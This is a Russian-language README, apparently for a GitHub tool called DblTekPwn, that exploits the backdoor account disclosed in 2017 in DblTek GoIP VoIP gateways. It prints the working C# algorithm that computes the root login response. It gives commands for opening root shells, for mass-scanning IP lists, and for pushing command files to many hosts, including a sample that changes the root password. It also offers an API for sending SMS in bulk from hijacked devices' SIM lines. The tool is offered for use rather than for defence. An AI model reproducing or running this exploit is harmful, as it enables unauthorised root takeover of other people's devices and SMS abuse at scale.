
Инструмент для проверки, уязвим ли IP-адрес DblTek GoIP к системе входа по протоколу «вызов-ответ», отправки SMS-сообщений с этой системы, удалённого выполнения команд в стиле ботнета и генерации ответов на вызовы.
Инструмент для эксплуатации системы вызов-ответ в уязвимых устройствах DblTek GoIP. Может генерировать ответы на заданные вызовы, проверять хосты на уязвимость, выполнять команды на уязвимых хостах, отправлять SMS-сообщения с хоста и получать root-доступ к любому уязвимому хосту.
2 марта 2017 года компания Trustwave опубликовала уязвимость, обнаруженную исследователями безопасности в VoIP-телефонах DblTek GoIP. Уязвимость представляла собой бэкдор в прошивке для учётной записи с именем 'dbladm'. Когда пользователь вводил это имя в качестве логина в telnet, система выдавала вызов, при вводе правильного ответа на который пользователь получал root-доступ к системе.
Проблема такой системы вызов-ответ заключается в том, что безопасность устройств зависит от алгоритма генерации ответов, который был восстановлен из бинарных файлов прошивки, предоставленных DblTek. Используя этот алгоритм, можно получить root-доступ к ЛЮБОМУ устройству DblTek GoIP.
Оригинальная статья: https://www.trustwave.com/Resources/SpiderLabs-Blog/Undocumented-Backdoor-Account-in-DBLTek-GoIP/
На основе описания бэкдора из статьи мне удалось написать, как я полагаю, один из первых эксплойтов для этой уязвимости. Его ядром, конечно же, является алгоритм генерации ответа на заданный вызов. Вот функция, написанная на C#.
static string ComputeResponse(string challengeStr)
{
int challenge = Convert.ToInt32(challengeStr.Substring(1)); // Get just the number after 'N'.
string modified = (challenge + 20139 + (challenge >> 3)).ToString(); // Perform some dummy 1337 operations.
byte[] buffer = new byte[64];
// Copy the string into the first part of the buffer.
for (int i = 0; i < modified.Length; i++)
buffer[i] = (byte)modified[i];
var md5 = MD5.Create();
byte[] hash = md5.ComputeHash(buffer); // Calculate the MD5 of the buffer.
StringBuilder sb = new StringBuilder(); // Will hold the results.
// Take the unpadded hex value of the first six bytes of the MD5.
for (int i = 0; i < 6; i++)
sb.Append(hash[i].ToString("x"));
return sb.ToString(); // Profit
}
При запуске DblTekPwn без аргументов отображается справка. Вот её вывод:
USAGE: DblTekPwn.exe [MODE] [HOSTS] [OUTPUT]
[MODE]:
-c --compute-response [CHALLENGE] Computes a response to the given challenge.
-r --root-shell Starts a root shell with the vulnerable host.
-s --send-commands [COMMAND_FILE] Sends commands from a file to vulnerable hosts.
-t --test Tests hosts and determines if they are vulnerable.
-h --help Displays this help and exits.
[HOSTS]:
-n --name [IP] Specifies a single IP address.
-f --file [IP_FILE] Specifies a file with IP\nIP\nIP.
[OUTPUT]:
-o --output [OUTPUT_FILE] Specifies an output file. Default stdin.
С помощью DblTekGoIPPwn легко получить root-доступ к любой уязвимой системе. Просто выполните следующую команду, указав IP уязвимого устройства.
DblTekPwn.exe --root-shell --name 192.168.1.1
Вы увидите вывод, похожий на этот:
Password: ***********
После этого можно начинать ввод команд (приглашения оболочки нет).
Предположим, вы хотите вычислить ответ на вызов GoIP N1746203308. Для этого просто выполните следующую команду.
DblTekPwn --compute-response N1746203308
Выводом будет ответ:
d6176d3aab2
Предположим, вы хотите проверить list.txt с IP-адресами на наличие уязвимых GoIP и вывести результат в results.txt. Сначала убедитесь, что IP-адреса имеют формат ip:port (по умолчанию порт 23) и разделены новой строкой \n. Затем можно выполнить следующую команду.
DblTekPwn.exe --test --file list.txt --output results.txt
list.txt:
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323
results.txt:
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False
Значение False или True после хоста указывает, уязвим ли IP.
Предположим, у вас есть список команд (фактически, список telnet-вводов) в cmds.txt, которые нужно отправить на IP-адреса из list.txt, а вывод сохранить в results.txt. Сначала убедитесь, что IP-адреса имеют формат ip:port (порт по умолчанию 23) и что КАК IP-адреса, ТАК и команды разделены новой строкой \n в соответствующих файлах. Затем можно выполнить следующую команду.
DblTekPwn.exe --send-commands cmds.txt --file list.txt --output results.txt
list.txt:
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323
cmds.txt:
passwd root
toor
toor
exit
results.txt:
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False
Значение False или True после хоста указывает, было ли соединение установлено и команды доставлены успешно.
Код в этом репозитории GitHub предоставляет абстракцию для отправки SMS (текстовых сообщений) с взломанного GoIP. Чтобы использовать этот код, включите DblTekPwn.exe в своё приложение и добавьте следующий using.
using DblTekPwn.SMS
Теперь в своём коде вы можете использовать статический метод SmsSender.SendSms. Вот несколько примеров.
string[] nums = new string[] { "18005551234" };
string goIP = "192.168.1.3";
string msg = "Hello, World!";
SmsSender.SendSms(goIP, 23, nums, msg);
Большинство GoIP имеют до 32 SIM-карт, что позволяет отправлять SMS-сообщения со всех этих линий.
string[] nums = new string[] { "18005551234" };
string goIP = "192.168.1.3";
string msg = "Hai";
int numbers = 15;
SmsSender.SendSms(goIP, 23, nums, msg, 1, numbers);
strings[] nums = new string[] { "18005551234", "18005554321", "18005551337" };
string goIP = "192.168.1.3";
string msg = "We are legion";
int numbers = 32;
SmsSender.SendSms(goIP, 23, nums, msg, 1, numbers);